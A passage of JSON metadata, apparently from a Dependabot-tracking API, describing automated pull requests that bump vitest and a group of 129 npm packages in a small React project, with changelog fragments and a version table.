href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11600\"\u003e#11600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6c6aa75481bffe5880b5c4e35ea67927\"\u003e\u003ccode\u003efe86a64\u003c/code\u003e\u003c/a\u003e fix: skip builtin loading in async leak detector (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11598\"\u003e#11598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff0734cf476e30186a83aebe6771aa330\"\u003e\u003ccode\u003e6ae8e89\u003c/code\u003e\u003c/a\u003e fix(reporter): end reason \u003ccode\u003e'failed'\u003c/code\u003e on worker crash (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11568\"\u003e#11568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=vitest\u0026package-manager=npm_and_yarn\u0026previous-version=4.1.11\u0026new-version=5.0.5)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/mvnulman/quote-generator-react/pull/47","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/mvnulman%2Fquote-generator-react/issues/47","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/47/packages"}},{"old_version":"4.1.10","new_version":"4.1.12","update_type":"patch","path":null,"pr_created_at":"2026-10-23T12:59:31.000Z","version_change":"4.1.10 → 4.1.12","issue":{"uuid":"5998203118","node_id":"PR_kwDOTxDHNM8AAAABKQQwKg","number":38,"state":"open","title":"Bump the npm-minor-patch group across 1 directory with 129 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-23T12:59:31.000Z","updated_at":"2026-10-23T13:01:00.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"npm-minor-patch","update_count":129,"packages":[{"name":"turbo","old_version":"2.10.8","new_version":"2.11.9","repository_url":"https://github.com/vercel/turborepo"},{"name":"@anthropic-ai/sdk","old_version":"0.115.0","new_version":"0.135.0","repository_url":"https://github.com/anthropics/anthropic-sdk-typescript"},{"name":"@aws-sdk/client-kms","old_version":"3.1146.0","new_version":"3.1153.0","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/client-s3","old_version":"3.1146.0","new_version":"3.1153.0","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/client-sesv2","old_version":"3.1146.0","new_version":"3.1153.0","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@better-auth/drizzle-adapter","old_version":"1.6.26","new_version":"1.7.12","repository_url":"https://github.com/better-auth/better-auth"},{"name":"better-auth","old_version":"1.6.26","new_version":"1.7.12","repository_url":"https://github.com/better-auth/better-auth"},{"name":"drizzle-orm","old_version":"0.45.2","new_version":"0.45.4","repository_url":"https://github.com/drizzle-team/drizzle-orm"},{"name":"pg","old_version":"8.22.0","new_version":"8.23.1","repository_url":"https://github.com/brianc/node-postgres"},{"name":"@types/pg","old_version":"8.20.4","new_version":"8.23.1","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"react","old_version":"19.2.8","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"@types/react","old_version":"19.2.18","new_version":"19.3.0","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"react-dom","old_version":"19.2.8","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"@types/react-dom","old_version":"19.2.4","new_version":"19.3.0","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"resend","old_version":"6.26.0","new_version":"6.34.1","repository_url":"https://github.com/resend/resend-node"},{"name":"stripe","old_version":"22.6.1","new_version":"22.6.2","repository_url":"https://github.com/stripe/stripe-node"},{"name":"tsx","old_version":"4.23.12","new_version":"4.23.15","repository_url":"https://github.com/privatenumber/tsx"},{"name":"@types/node","old_version":"22.20.1","new_version":"22.20.5","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"@types/pg","old_version":"8.20.4","new_version":"8.23.1","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"@types/react","old_version":"19.2.18","new_version":"19.3.0","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"@types/react-dom","old_version":"19.2.4","new_version":"19.3.0","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"drizzle-kit","old_version":"0.31.10","new_version":"0.31.11","repository_url":"https://github.com/drizzle-team/drizzle-orm"},{"name":"happy-dom","old_version":"20.14.5","new_version":"20.14.6","repository_url":"https://github.com/capricorn86/happy-dom"},{"name":"vitest","old_version":"4.1.10","new_version":"4.1.12","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"motion","old_version":"13.0.0","new_version":"13.5.1","repository_url":"https://github.com/motiondivision/motion"},{"name":"posthog-js","old_version":"1.430.3","new_version":"1.438.12","repository_url":"https://github.com/PostHog/posthog-js"},{"name":"eslint-config-next","old_version":"16.3.0","new_version":"16.4.2","repository_url":"https://github.com/vercel/next.js"},{"name":"apify-client","old_version":"2.24.0","new_version":"2.25.0","repository_url":"https://github.com/apify/apify-client-js"},{"name":"@better-auth/prisma-adapter","old_version":"1.6.26","new_version":"1.7.12","repository_url":"https://github.com/better-auth/better-auth"},{"name":"@next/eslint-plugin-next","old_version":"16.3.0","new_version":"16.4.2","repository_url":"https://github.com/vercel/next.js"},{"name":"@alloc/quick-lru","old_version":"5.2.0","new_version":"5.3.0","repository_url":"https://github.com/aleclarson/quick-lru"},{"name":"@apify/consts","old_version":"2.57.0","new_version":"2.58.1","repository_url":"https://github.com/apify/apify-shared-js"},{"name":"@apify/log","old_version":"2.5.48","new_version":"2.5.54","repository_url":"https://github.com/apify/apify-shared-js"},{"name":"@apify/utilities","old_version":"2.35.5","new_version":"2.35.11","repository_url":"https://github.com/apify/apify-shared-js"},{"name":"@aws-sdk/checksums","old_version":"3.1001.2","new_version":"3.1001.5","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/core","old_version":"3.978.2","new_version":"3.978.5","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/credential-provider-env","old_version":"3.972.72","new_version":"3.972.76","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/credential-provider-http","old_version":"3.972.74","new_version":"3.972.78","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/credential-provider-ini","old_version":"3.973.17","new_version":"3.973.21","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/credential-provider-login","old_version":"3.972.79","new_version":"3.972.83","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/credential-provider-node","old_version":"3.972.84","new_version":"3.972.88","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/credential-provider-process","old_version":"3.972.72","new_version":"3.972.76","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/credential-provider-sso","old_version":"3.973.16","new_version":"3.973.20","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/credential-provider-web-identity","old_version":"3.972.78","new_version":"3.972.82","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/middleware-sdk-s3","old_version":"3.972.78","new_version":"3.972.81","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/nested-clients","old_version":"3.997.46","new_version":"3.997.50","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/signature-v4-multi-region","old_version":"3.996.48","new_version":"3.996.49","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/token-providers","old_version":"3.1138.0","new_version":"3.1155.0","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/types","old_version":"3.974.6","new_version":"3.975.0","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@babel/helpers","old_version":"7.29.7","new_version":"7.29.10","repository_url":"https://github.com/babel/babel"},{"name":"@babel/runtime","old_version":"7.29.7","new_version":"7.29.10","repository_url":"https://github.com/babel/babel"},{"name":"@babel/traverse","old_version":"7.29.8","new_version":"7.29.10","repository_url":"https://github.com/babel/babel"},{"name":"@better-auth/core","old_version":"1.6.26","new_version":"1.7.12","repository_url":"https://github.com/better-auth/better-auth"},{"name":"@better-auth/kysely-adapter","old_version":"1.6.26","new_version":"1.7.12","repository_url":"https://github.com/better-auth/better-auth"},{"name":"@better-auth/memory-adapter","old_version":"1.6.26","new_version":"1.7.12","repository_url":"https://github.com/better-auth/better-auth"},{"name":"@better-auth/mongo-adapter","old_version":"1.6.26","new_version":"1.7.12","repository_url":"https://github.com/better-auth/better-auth"},{"name":"@better-auth/telemetry","old_version":"1.6.26","new_version":"1.7.12","repository_url":"https://github.com/better-auth/better-auth"},{"name":"@better-auth/utils","old_version":"0.4.2","new_version":"0.5.0","repository_url":"https://github.com/better-auth/utils"},{"name":"@better-fetch/fetch","old_version":"1.3.1","new_version":"1.3.2","repository_url":"https://github.com/better-auth/better-fetch"},{"name":"@crawlee/types","old_version":"3.18.0","new_version":"3.18.2","repository_url":"https://github.com/apify/crawlee"},{"name":"@jridgewell/sourcemap-codec","old_version":"1.5.5","new_version":"1.6.0","repository_url":"https://github.com/jridgewell/sourcemaps"},{"name":"@noble/ciphers","old_version":"2.3.0","new_version":"2.4.0","repository_url":"https://github.com/paulmillr/noble-ciphers"},{"name":"@noble/hashes","old_version":"2.3.0","new_version":"2.4.0","repository_url":"https://github.com/paulmillr/noble-hashes"},{"name":"@peculiar/asn1-android","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/asn1-asym-key","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/asn1-cms","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/asn1-csr","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/asn1-ecc","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/asn1-pfx","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/asn1-pkcs8","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/asn1-pkcs9","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/asn1-rsa","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/asn1-schema","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/asn1-x509","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/asn1-x509-attr","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/asn1-x509-post-quantum","old_version":"2.10.0","new_version":"2.11.0","repository_url":"https://github.com/PeculiarVentures/asn1-schema"},{"name":"@peculiar/x509","old_version":"2.1.0","new_version":"2.2.0","repository_url":"https://github.com/PeculiarVentures/x509"},{"name":"@posthog/browser-common","old_version":"0.8.3","new_version":"0.9.10","repository_url":"https://github.com/PostHog/posthog-js"},{"name":"@posthog/core","old_version":"1.53.2","new_version":"1.60.0","repository_url":"https://github.com/PostHog/posthog-js"},{"name":"@posthog/types","old_version":"1.411.1","new_version":"1.416.0","repository_url":"https://github.com/PostHog/posthog-js"},{"name":"@smithy/core","old_version":"3.35.2","new_version":"3.36.2","repository_url":"https://github.com/smithy-lang/smithy-typescript"},{"name":"@turbo/darwin-64","old_version":"2.10.8","new_version":"2.11.9","repository_url":"https://github.com/vercel/turborepo"},{"name":"@turbo/darwin-arm64","old_version":"2.10.8","new_version":"2.11.9","repository_url":"https://github.com/vercel/turborepo"},{"name":"@turbo/linux-64","old_version":"2.10.8","new_version":"2.11.9","repository_url":"https://github.com/vercel/turborepo"},{"name":"@turbo/linux-arm64","old_version":"2.10.8","new_version":"2.11.9","repository_url":"https://github.com/vercel/turborepo"},{"name":"@turbo/windows-64","old_version":"2.10.8","new_version":"2.11.9","repository_url":"https://github.com/vercel/turborepo"},{"name":"@turbo/windows-arm64","old_version":"2.10.8","new_version":"2.11.9","repository_url":"https://github.com/vercel/turborepo"},{"name":"@vitest/expect","old_version":"4.1.10","new_version":"4.1.12","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"@vitest/pretty-format","old_version":"4.1.10","new_version":"4.1.12","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"@vitest/runner","old_version":"4.1.10","new_version":"4.1.12","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"@vitest/snapshot","old_version":"4.1.10","new_version":"4.1.12","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"@vitest/spy","old_version":"4.1.10","new_version":"4.1.12","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"@vitest/utils","old_version":"4.1.10","new_version":"4.1.12","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"asn1js","old_version":"3.0.10","new_version":"3.1.0","repository_url":"https://github.com/PeculiarVentures/ASN1.js"},{"name":"baseline-browser-mapping","old_version":"2.11.27","new_version":"2.11.31","repository_url":"https://github.com/web-platform-dx/baseline-browser-mapping"},{"name":"better-call","old_version":"1.3.7","new_version":"1.4.4","repository_url":"https://github.com/better-auth/better-call"},{"name":"browserslist","old_version":"4.29.3","new_version":"4.29.4","repository_url":"https://github.com/browserslist/browserslist"},{"name":"caniuse-lite","old_version":"1.0.30001814","new_version":"1.0.30001819","repository_url":"https://github.com/browserslist/caniuse-lite"},{"name":"chai","old_version":"6.2.2","new_version":"6.3.0","repository_url":"https://github.com/chaijs/chai"},{"name":"core-js","old_version":"3.50.0","new_version":"3.51.0","repository_url":"https://github.com/zloirock/core-js"},{"name":"electron-to-chromium","old_version":"1.5.445","new_version":"1.5.463","repository_url":"https://github.com/Kilian/electron-to-chromium"},{"name":"enhanced-resolve","old_version":"5.24.5","new_version":"5.26.0","repository_url":"https://github.com/webpack/enhanced-resolve"},{"name":"es-module-lexer","old_version":"2.3.1","new_version":"2.3.2","repository_url":"https://github.com/guybedford/es-module-lexer"},{"name":"framer-motion","old_version":"13.0.0","new_version":"13.5.1","repository_url":"https://github.com/motiondivision/motion"},{"name":"get-tsconfig","old_version":"4.14.1","new_version":"4.14.3","repository_url":"https://github.com/privatenumber/get-tsconfig"},{"name":"ip-address","old_version":"10.4.0","new_version":"10.7.4","repository_url":"https://github.com/beaugunderson/ip-address"},{"name":"jose","old_version":"6.2.8","new_version":"6.2.13","repository_url":"https://github.com/panva/jose"},{"name":"kysely","old_version":"0.29.4","new_version":"0.29.7","repository_url":"https://github.com/kysely-org/kysely"},{"name":"livekit-client","old_version":"2.22.3","new_version":"2.23.0","repository_url":"https://github.com/livekit/client-sdk-js"},{"name":"motion-dom","old_version":"13.0.0","new_version":"13.5.1","repository_url":"https://github.com/motiondivision/motion"},{"name":"motion-utils","old_version":"13.0.0","new_version":"13.5.0","repository_url":"https://github.com/motiondivision/motion"},{"name":"nanostores","old_version":"1.4.2","new_version":"1.5.5","repository_url":"https://github.com/nanostores/nanostores"},{"name":"napi-postinstall","old_version":"0.3.4","new_version":"0.3.7","repository_url":"https://github.com/un-ts/napi-postinstall"},{"name":"node-releases","old_version":"2.0.57","new_version":"2.0.60","repository_url":"https://github.com/chicoxyzzy/node-releases"},{"name":"obug","old_version":"2.1.4","new_version":"2.2.1","repository_url":"https://github.com/sxzz/obug"},{"name":"pg-cloudflare","old_version":"1.4.0","new_version":"1.4.1","repository_url":"https://github.com/brianc/node-postgres"},{"name":"pg-connection-string","old_version":"2.14.0","new_version":"2.14.1","repository_url":"https://github.com/brianc/node-postgres"},{"name":"pg-protocol","old_version":"1.15.0","new_version":"1.16.1","repository_url":"https://github.com/brianc/node-postgres"},{"name":"postal-mime","old_version":"2.7.5","new_version":"2.7.6","repository_url":"https://github.com/postalsys/postal-mime"},{"name":"rou3","old_version":"0.7.12","new_version":"0.9.2","repository_url":"https://github.com/h3js/rou3"},{"name":"scheduler","old_version":"0.27.0","new_version":"0.28.0","repository_url":"https://github.com/react/react"},{"name":"set-cookie-parser","old_version":"3.1.2","new_version":"3.2.1","repository_url":"https://github.com/nfriedly/set-cookie-parser"},{"name":"socks","old_version":"2.8.9","new_version":"2.8.10","repository_url":"https://github.com/JoshGlazebrook/socks"},{"name":"standardwebhooks","old_version":"1.0.0","new_version":"1.1.1","repository_url":"https://github.com/standard-webhooks/standard-webhooks"},{"name":"std-env","old_version":"4.2.0","new_version":"4.3.0","repository_url":"https://github.com/unjs/std-env"},{"name":"tinyexec","old_version":"1.3.0","new_version":"1.3.1","repository_url":"https://github.com/tinylibs/tinyexec"},{"name":"tinyrainbow","old_version":"3.1.1","new_version":"3.2.0","repository_url":"https://github.com/tinylibs/tinyrainbow"},{"name":"typescript-eslint","old_version":"8.71.1","new_version":"8.72.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"update-browserslist-db","old_version":"1.3.3","new_version":"1.3.4","repository_url":"https://github.com/browserslist/update-db"},{"name":"@vitest/mocker","old_version":"4.1.10","new_version":"4.1.12","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"web-vitals","old_version":"6.2.1","new_version":"6.2.3","repository_url":"https://github.com/GoogleChrome/web-vitals"},{"name":"zod","old_version":"4.4.3","new_version":"4.6.7","repository_url":"https://github.com/colinhacks/zod"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm-minor-patch group with 129 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [turbo](https://github.com/vercel/turborepo) | `2.10.8` | `2.11.9` |\n| [@anthropic-ai/sdk](https://github.com/anthropics/anthropic-sdk-typescript) | `0.115.0` | `0.135.0` |\n| [@aws-sdk/client-kms](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-kms) | `3.1146.0` | `3.1153.0` |\n| [@aws-sdk/client-s3](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3) | `3.1146.0` | `3.1153.0` |\n| [@aws-sdk/client-sesv2](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-sesv2) | `3.1146.0` | `3.1153.0` |\n| [@better-auth/drizzle-adapter](https://github.com/better-auth/better-auth/tree/HEAD/packages/drizzle-adapter) | `1.6.26` | `1.7.12` |\n| [better-auth](https://github.com/better-auth/better-auth/tree/HEAD/packages/better-auth) | `1.6.26` | `1.7.12` |\n| [drizzle-orm](https://github.com/drizzle-team/drizzle-orm) | `0.45.2` | `0.45.4` |\n| [pg](https://github.com/brianc/node-postgres/tree/HEAD/packages/pg) | `8.22.0` | `8.23.1` |\n| [@types/pg](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/pg) | `8.20.4` | `8.23.1` |\n| [react](https://github.com/react/react/tree/HEAD/packages/react) | `19.2.8` | `19.3.1` |\n| [@types/react](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react) | `19.2.18` | `19.3.0` |\n| [react-dom](https://github.com/react/react/tree/HEAD/packages/react-dom) | `19.2.8` | `19.3.1` |\n| [@types/react-dom](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react-dom) | `19.2.4` | `19.3.0` |\n| [resend](https://github.com/resend/resend-node) | `6.26.0` | `6.34.1` |\n| [stripe](https://github.com/stripe/stripe-node) | `22.6.1` | `22.6.2` |\n| [tsx](https://github.com/privatenumber/tsx) | `4.23.12` | `4.23.15` |\n| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node) | `22.20.1` | `22.20.5` |\n| [@types/pg](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/pg) | `8.20.4` | `8.23.1` |\n| [@types/react](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react) | `19.2.18` | `19.3.0` |\n| [@types/react-dom](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react-dom) | `19.2.4` | `19.3.0` |\n| [drizzle-kit](https://github.com/drizzle-team/drizzle-orm) | `0.31.10` | `0.31.11` |\n| [happy-dom](https://github.com/capricorn86/happy-dom) | `20.14.5` | `20.14.6` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `4.1.10` | `4.1.12` |\n| [motion](https://github.com/motiondivision/motion) | `13.0.0` | `13.5.1` |\n| [posthog-js](https://github.com/PostHog/posthog-js) | `1.430.3` | `1.438.12` |\n| [eslint-config-next](https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next) | `16.3.0` | `16.4.2` |\n| [apify-client](https://github.com/apify/apify-client-js) | `2.24.0` | `2.25.0` |\n| [@better-auth/prisma-adapter](https://github.com/better-auth/better-auth/tree/HEAD/packages/prisma-adapter) | `1.6.26` | `1.7.12` |\n| [@next/eslint-plugin-next](https://github.com/vercel/next.js/tree/HEAD/packages/eslint-plugin-next) | `16.3.0` | `16.4.2` |\n| [@alloc/quick-lru](https://github.com/aleclarson/quick-lru) | `5.2.0` | `5.3.0` |\n| [@apify/consts](https://github.com/apify/apify-shared-js) | `2.57.0` | `2.58.1` |\n| [@apify/log](https://github.com/apify/apify-shared-js) | `2.5.48` | `2.5.54` |\n| [@apify/utilities](https://github.com/apify/apify-shared-js) | `2.35.5` | `2.35.11` |\n| [@aws-sdk/checksums](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages-internal/checksums) | `3.1001.2` | `3.1001.5` |\n| [@aws-sdk/core](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages-internal/core) | `3.978.2` | `3.978.5` |\n| [@aws-sdk/credential-provider-env](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages-internal/credential-provider-env) | `3.972.72` | `3.972.76` |\n| [@aws-sdk/credential-provider-http](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages-internal/credential-provider-http) | `3.972.74` | `3.972.78` |\n| [@aws-sdk/credential-provider-ini](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages-internal/credential-provider-ini) | `3.973.17` | `3.973.21` |\n| [@aws-sdk/credential-provider-login](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages-internal/credential-provider-login) | `3.972.79` | `3.972.83` |\n| [@aws-sdk/credential-provider-node](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages-internal/credential-provider-node) | `3.972.84` | `3.972.88` |\n| [@aws-sdk/credential-provider-process](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages-internal/credential-provider-process) | `3.972.72` | `3.972.76` |\n| [@aws-sdk/credential-provider-sso](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages-internal/credential-provider-sso) | `3.973.16` | `3.973.20` |\n| [@aws-sdk/credential-provider-web-identity](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages-internal/credential-provider-web-identity) | `3.972.78` | `3.972.82` |\n| [@aws-sdk/middleware-sdk-s3](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages-internal/middleware-sdk-s3) | `3.972.78` | `3.972.81` |\n| [@aws-sdk/nested-clients](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages/nested-clients) | `3.997.46` | `3.997.50` |\n| [@aws-sdk/signature-v4-multi-region](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages/signature-v4-multi-region) | `3.996.48` | `3.996.49` |\n| [@aws-sdk/token-providers](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages/token-providers) | `3.1138.0` | `3.1155.0` |\n| [@aws-sdk/types](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages-internal/types) | `3.974.6` | `3.975.0` |\n| [@babel/helpers](https://github.com/babel/babel/tree/HEAD/packages/babel-helpers) | `7.29.7` | `7.29.10` |\n| [@babel/runtime](https://github.com/babel/babel/tree/HEAD/packages/babel-runtime) | `7.29.7` | `7.29.10` |\n| [@babel/traverse](https://github.com/babel/babel/tree/HEAD/packages/babel-traverse) | `7.29.8` | `7.29.10` |\n| [@better-auth/core](https://github.com/better-auth/better-auth/tree/HEAD/packages/core) | `1.6.26` | `1.7.12` |\n| [@better-auth/kysely-adapter](https://github.com/better-auth/better-auth/tree/HEAD/packages/kysely-adapter) | `1.6.26` | `1.7.12` |\n| [@better-auth/memory-adapter](https://github.com/better-auth/better-auth/tree/HEAD/packages/memory-adapter) | `1.6.26` | `1.7.12` |\n| [@better-auth/mongo-adapter](https://github.com/better-auth/better-auth/tree/HEAD/packages/mongo-adapter) | `1.6.26` | `1.7.12` |\n| [@better-auth/telemetry](https://github.com/better-auth/better-auth/tree/HEAD/packages/telemetry) | `1.6.26` | `1.7.12` |\n| [@better-auth/utils](https://github.com/better-auth/utils) | `0.4.2` | `0.5.0` |\n| [@better-fetch/fetch](https://github.com/better-auth/better-fetch/tree/HEAD/packages/better-fetch) | `1.3.1` | `1.3.2` |\n| [@crawlee/types](https://github.com/apify/crawlee) | `3.18.0` | `3.18.2` |\n| [@jridgewell/sourcemap-codec](https://github.com/jridgewell/sourcemaps/tree/HEAD/packages/sourcemap-codec) | `1.5.5` | `1.6.0` |\n| [@noble/ciphers](https://github.com/paulmillr/noble-ciphers) | `2.3.0` | `2.4.0` |\n| [@noble/hashes](https://github.com/paulmillr/noble-hashes) | `2.3.0` | `2.4.0` |\n| [@peculiar/asn1-android](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/android) | `2.10.0` | `2.11.0` |\n| [@peculiar/asn1-asym-key](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/asym-key) | `2.10.0` | `2.11.0` |\n| [@peculiar/asn1-cms](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/cms) | `2.10.0` | `2.11.0` |\n| [@peculiar/asn1-csr](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/csr) | `2.10.0` | `2.11.0` |\n| [@peculiar/asn1-ecc](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/ecc) | `2.10.0` | `2.11.0` |\n| [@peculiar/asn1-pfx](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/pfx) | `2.10.0` | `2.11.0` |\n| [@peculiar/asn1-pkcs8](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/pkcs8) | `2.10.0` | `2.11.0` |\n| [@peculiar/asn1-pkcs9](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/pkcs9) | `2.10.0` | `2.11.0` |\n| [@peculiar/asn1-rsa](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/rsa) | `2.10.0` | `2.11.0` |\n| [@peculiar/asn1-schema](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/schema) | `2.10.0` | `2.11.0` |\n| [@peculiar/asn1-x509](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/x509) | `2.10.0` | `2.11.0` |\n| [@peculiar/asn1-x509-attr](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/x509-attr) | `2.10.0` | `2.11.0` |\n| [@peculiar/asn1-x509-post-quantum](https://github.com/PeculiarVentures/asn1-schema/tree/HEAD/packages/x509-post-quantum) | `2.10.0` | `2.11.0` |\n| [@peculiar/x509](https://github.com/PeculiarVentures/x509) | `2.1.0` | `2.2.0` |\n| [@posthog/browser-common](https://github.com/PostHog/posthog-js/tree/HEAD/packages/browser-common) | `0.8.3` | `0.9.10` |\n| [@posthog/core](https://github.com/PostHog/posthog-js/tree/HEAD/packages/core) | `1.53.2` | `1.60.0` |\n| 